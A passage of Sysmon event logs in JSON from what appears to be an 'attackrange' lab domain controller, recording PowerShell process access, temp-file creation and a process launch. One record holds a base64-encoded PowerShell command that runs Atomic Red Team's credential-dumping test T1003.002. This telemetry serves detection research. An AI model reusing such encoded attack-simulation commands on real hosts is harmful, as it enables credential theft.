ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:16.399","SourceProcessGUID":"{90617006-415E-5F2D-0000-0010E0580700}","SourceProcessId":"1276","SourceThreadId":"4304","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4160-5F2D-0000-00106FA40700}","TargetProcessId":"2148","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:16","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5009,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:16.399\r\nSourceProcessGUID: {90617006-415F-5F2D-0000-001026810700}\r\nSourceProcessId: 5076\r\nSourceThreadId: 4964\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-4160-5F2D-0000-00106FA40700}\r\nTargetProcessId: 2148\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1F3FFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b42a7|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b452d|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3ed3|UNKNOWN(00007FF8EA7C3B23)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:16.399","SourceProcessGUID":"{90617006-415F-5F2D-0000-001026810700}","SourceProcessId":"5076","SourceThreadId":"4964","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-4160-5F2D-0000-00106FA40700}","TargetProcessId":"2148","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1f3fff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b42a7|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b452d|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3ed3|UNKNOWN(00007FF8EA7C3B23)","EventReceivedTime":"2020-08-07 11:56:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:16","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5010,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:16.430\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4160-5F2D-0000-00106FA40700}\r\nTargetProcessId: 2148\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:16.430","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4160-5F2D-0000-00106FA40700}","TargetProcessId":"2148","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:16","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":5011,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:16.430\r\nProcessGuid: {90617006-4160-5F2D-0000-00106FA40700}\r\nProcessId: 2148\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_xe4w00he.0cs.ps1\r\nCreationUtcTime: 2020-08-07 11:56:16.430","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:16.430","ProcessGuid":"{90617006-4160-5F2D-0000-00106FA40700}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_xe4w00he.0cs.ps1","CreationUtcTime":"2020-08-07 11:56:16.430","EventReceivedTime":"2020-08-07 11:56:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:16","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5012,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:16.477\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4160-5F2D-0000-00106FA40700}\r\nTargetProcessId: 2148\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:16.477","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4160-5F2D-0000-00106FA40700}","TargetProcessId":"2148","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:16","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5013,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:16.477\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4160-5F2D-0000-00106FA40700}\r\nTargetProcessId: 2148\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:16.477","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4160-5F2D-0000-00106FA40700}","TargetProcessId":"2148","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:16","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":5014,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:16.743\r\nProcessGuid: {90617006-4160-5F2D-0000-00106FA40700}\r\nProcessId: 2148\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_hdflzic4.svc.ps1\r\nCreationUtcTime: 2020-08-07 11:56:16.743","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:16.743","ProcessGuid":"{90617006-4160-5F2D-0000-00106FA40700}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_hdflzic4.svc.ps1","CreationUtcTime":"2020-08-07 11:56:16.743","EventReceivedTime":"2020-08-07 11:56:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5015,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:20.519\r\nProcessGuid: {90617006-4164-5F2D-0000-00103AB80700}\r\nProcessId: 4644\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nFileVersion: 10.0.14393.206 (rs1_release.160915-0644)\r\nDescription: Windows PowerShell\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: PowerShell.EXE\r\nCommandLine: \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" & {if (pip3 -V) {exit 0} else {exit 1}} \r\nCurrentDirectory: C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-415E-5F2D-0000-002024580700}\r\nLogonId: 0x75824\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453\r\nParentProcessGuid: {90617006-415F-5F2D-0000-001026810700}\r\nParentProcessId: 5076\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: \"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEcAZQB0AFAAcgBlAHIAZQBxAHMA","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:20.519","ProcessGuid":"{90617006-4164-5F2D-0000-00103AB80700}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","FileVersion":"10.0.14393.206 (rs1_release.160915-0644)","Description":"Windows PowerShell","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"PowerShell.EXE","CommandLine":"\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" & {if (pip3 -V) {exit 0} else {exit 1}} ","CurrentDirectory":"C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-415E-5F2D-0000-002024580700}","LogonId":"0x75824","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453","ParentProcessGuid":"{90617006-415F-5F2D-0000-001026810700}","ParentProcessId":"5076","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"\"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEcAZQB0AFAAcgBlAHIAZQBxAHMA","EventReceivedTime":"2020-08-07 11:56:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5016,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:20.509\r\nSourceProcessGUID: {90617006-415F-5F2D-0000-001026810700}\r\nSourceProcessId: 5076\r\nSourceThreadId: 4964\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-4164-5F2D-0000-00103AB80700}\r\nTargetProcessId: 4644\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5889d8|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58884c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b60b078|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b581434|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6c03a3d7|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b549c2c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5a80fb|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b5f1|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b57d576|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5b6706","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 